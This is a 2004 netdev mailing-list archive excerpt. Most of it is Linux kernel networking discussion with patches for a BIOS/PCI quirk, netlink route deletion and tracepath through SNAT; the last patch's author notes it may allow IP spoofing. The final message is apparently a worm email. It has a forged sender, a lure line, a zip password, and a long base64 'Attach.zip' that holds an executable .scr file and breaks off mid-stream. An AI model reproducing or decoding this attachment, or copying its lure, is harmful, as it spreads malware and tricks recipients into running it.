Spraul wrote: > > There are two possible approaches: > - just a module parameter. Probably something for 2.4. > - a combination of a dmi detection of buggy bios versions plus a pci > quirk that resets start and end to 0. > > Attached is the module parameter patch against 2.6. If it works I can > write a backport to 2.4 and try to convince Marcelo to merge it. > Could you send me the output of dmidecode? I'll try to write the > autodetection patch for 2.6. I'm actually sticking with 2.4 for right now, which I'd be more than happy to test on. How different would your patch be for 2.4? I am unfamiliar with dmidecode, I am afraid. If you can't get the requisite info for 2.6 I would be happy to move one of my systems with the issue over to it to get the info. Please let me know. FWIW I saw a post from somebody on netdev and madwifi-users who says he is using your 2.6 patch with no problems. Alec From rugolsky@telemetry-investments.com Mon May 17 09:42:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 17 May 2004 09:42:20 -0700 (PDT) Received: from ti41.telemetry-investments.com (209-166-240-202.cust.walrus.com [209.166.240.202]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4HGgCKO019893 for ; Mon, 17 May 2004 09:42:13 -0700 Received: from ti64.telemetry-investments.com (ti64 [192.168.8.64]) by ti41.telemetry-investments.com (Postfix) with ESMTP id E338B1010E for ; Mon, 17 May 2004 12:42:06 -0400 (EDT) Received: by ti64.telemetry-investments.com (Postfix, from userid 343) id DA234FF62; Mon, 17 May 2004 12:42:06 -0400 (EDT) Date: Mon, 17 May 2004 12:42:06 -0400 From: "Bill Rugolsky Jr." To: netdev@oss.sgi.com Subject: no netlink message for neighbor route deletion if proto != kernel Message-ID: <20040517164206.GC24080@ti64.telemetry-investments.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5165 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brugolsky@telemetry-investments.com Precedence: bulk X-list: netdev I've come across the following issue caused by Red Hat's /sbin/ifup. The ifup script does the following: ip route replace ${NETWORK}/${PREFIX} ${SRC} ${WINDOW:+window $WINDOW} \ dev ${REALDEVICE} This has the side-effect of removing "proto kernel" from the neighbor route. When the address is later removed in ifdown with "ip addr flush dev $REALDEVICE", netlink does not generate a deletion message for the aforementioned route. This unfortunately confuses Quagga, which expects matching add/delete Netlink messages. I can work around this by specifying "proto kernel" in /sbin/ifup, but I'm wondering whether this is intended behavior. [I'm mindful of Alexey's comments regarding routing daemons and netlink, but that's not really the point of my question.] In linux/net/ipv4/fib_frontend.c, fib_del_ifaddr() calls fib_magic(), which sets req.rtm.rtm_protocol = RTPROT_KERNEL; before calling fib_hash_delete(): if (cmd == RTM_NEWROUTE) tb->tb_insert(tb, &req.rtm, &rta, &req.nlh, NULL); else tb->tb_delete(tb, &req.rtm, &rta, &req.nlh, NULL); The route is not matched by fib_hash_delete(), but appears to be flushed at the end if fib_delete_ifaddr(), if (inet_addr_type(ifa->ifa_local) != RTN_LOCAL) { /* And the last, but not the least thing. We must flush stray FIB entries. First of all, we scan fib_info list searching for stray nexthop entries, then ignite fib_flush. */ if (fib_sync_down(ifa->ifa_local, NULL, 0)) fib_flush(); and rtmsg_fib(RTM_DELROUTE,...) is never called. Is my analysis correct, and is this the intended behavior? Or should fib_magic() look like: --- linux/net/ipv4/fib_frontend.c 2004-04-03 22:38:24.000000000 -0500 +++ linux/net/ipv4/fib_frontend.c 2004-05-17 12:35:37.470324232 -0400 @@ -394,7 +394,6 @@ req.rtm.rtm_dst_len = dst_len; req.rtm.rtm_table = tb->tb_id; - req.rtm.rtm_protocol = RTPROT_KERNEL; req.rtm.rtm_scope = (type != RTN_LOCAL ? RT_SCOPE_LINK : RT_SCOPE_HOST); req.rtm.rtm_type = type; @@ -402,10 +401,13 @@ rta.rta_prefsrc = &ifa->ifa_local; rta.rta_oif = &ifa->ifa_dev->dev->ifindex; - if (cmd == RTM_NEWROUTE) + if (cmd == RTM_NEWROUTE) { + req.rtm.rtm_protocol = RTPROT_KERNEL; tb->tb_insert(tb, &req.rtm, &rta, &req.nlh, NULL); - else + } else { + req.rtm.rtm_protocol = RTPROT_UNSPEC; tb->tb_delete(tb, &req.rtm, &rta, &req.nlh, NULL); + } } static void fib_add_ifaddr(struct in_ifaddr *ifa) Regards, Bill Rugolsky From vdb128@picaros.org Mon May 17 10:04:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 17 May 2004 10:04:56 -0700 (PDT) Received: from stargate.picaros.org (ns1.picaros.org [195.162.202.41]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4HH4pKO020528 for ; Mon, 17 May 2004 10:04:52 -0700 Received: from picaros.org (localhost [127.0.0.1]) by stargate.picaros.org [:25] (8.12.10/8.12.10) with ESMTP id i4HH4mDK027520; Mon, 17 May 2004 19:04:48 +0200 Received: (from vdb128@localhost) by picaros.org (8.12.10/8.12.10/Submit) id i4HH4m13027519; Mon, 17 May 2004 19:04:48 +0200 From: vdb128@picaros.org Message-Id: <200405171704.i4HH4m13027519@picaros.org> Subject: [prop 2.4.23] tracepath to other iface + traversing SNAT To: netdev@oss.sgi.com Date: Mon, 17 May 2004 19:04:48 +0200 (CEST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5166 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vdb128@picaros.org Precedence: bulk X-list: netdev Dear ipv4 maintainers, The patch below allows to tracepath from an internal interface, via a remote source NAT, to a public interface. A disadvantage is however that it opens a possibility for IP spoofing. Nevertheless, it might be useful in some circumstances. Perhaps add an additional setting in /proc/sys/net/ipv4/ to enable ? Yours sincerely, Servaas Vandenberghe ------------------------------------------------------------------------- Setup: eth1=195.162.202.41 eth2=10.67.56.137. Without the proposed patch reply packets 195.->NAT->10. are dropped (martian source): stargate:~$ ip route get 10.67.56.137 from 195.162.202.41 iif eth2 RTNETLINK answers: Invalid argument With the patch: stargate:~$ ip route get 10.67.56.137 from 195.162.202.41 iif eth2 local 10.67.56.137 from 195.162.202.41 dev lo src 10.67.56.137 cache iif eth2 stargate:~# tracepath -I eth2 195.162.202.41 1?: [LOCALHOST] pmtu 1500 1: 10.66.254.198 (10.66.254.198) 6.167ms (0) 2: scotty2-int.kuleuven.net (134.58.253.188) 65.267ms 3: 134.58.253.254 (134.58.253.254) 7.394ms (0) 4: be-bru02a-ra1-vl-402.aorta.net (195.162.203.233) 31.534ms (0) 5: be-bru02a-ra2-vl-3.aorta.net (195.162.196.188) 23.540ms asym 4 (0) 6: ns1.picaros.org (195.162.202.41) 27.901ms asym 5 reached Resume: pmtu 1500 hops 6 back 5 http://picaros.org/ftp/key/tracepath.diff (diff to ss020927) --- linux-2.4.23/net/ipv4/fib_frontend-dist.c Mon Aug 25 13:44:44 2003 +++ linux-2.4.23/net/ipv4/fib_frontend.c Mon Mar 22 22:56:10 2004 @@ -233,7 +233,8 @@ int fib_validate_source(u32 src, u32 dst if (fib_lookup(&key, &res)) goto last_resort; - if (res.type != RTN_UNICAST) + if (res.type != RTN_UNICAST + && !(res.type == RTN_LOCAL && oif == loopback_dev.ifindex)) goto e_inval_res; *spec_dst = FIB_RES_PREFSRC(res); fib_combine_itag(itag, &res); From florian.thiel@gmx.net Mon May 17 20:05:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 17 May 2004 20:05:26 -0700 (PDT) Received: from thuytu (localhost [203.210.213.188] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4I358KP004427 for ; Mon, 17 May 2004 20:05:10 -0700 Date: Tue, 18 May 2004 10:05:14 +0700 To: netdev@oss.sgi.com Subject: ^_^ mew-mew (-: From: florian.thiel@gmx.net Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------qnptdtvpldqharrqhcoi" X-archive-position: 5167 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: florian.thiel@gmx.net Precedence: bulk X-list: netdev ----------qnptdtvpldqharrqhcoi Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Looking forward for a response :P 58751 -- archive password ----------qnptdtvpldqharrqhcoi Content-Type: application/octet-stream; name="Attach.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Attach.zip" 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 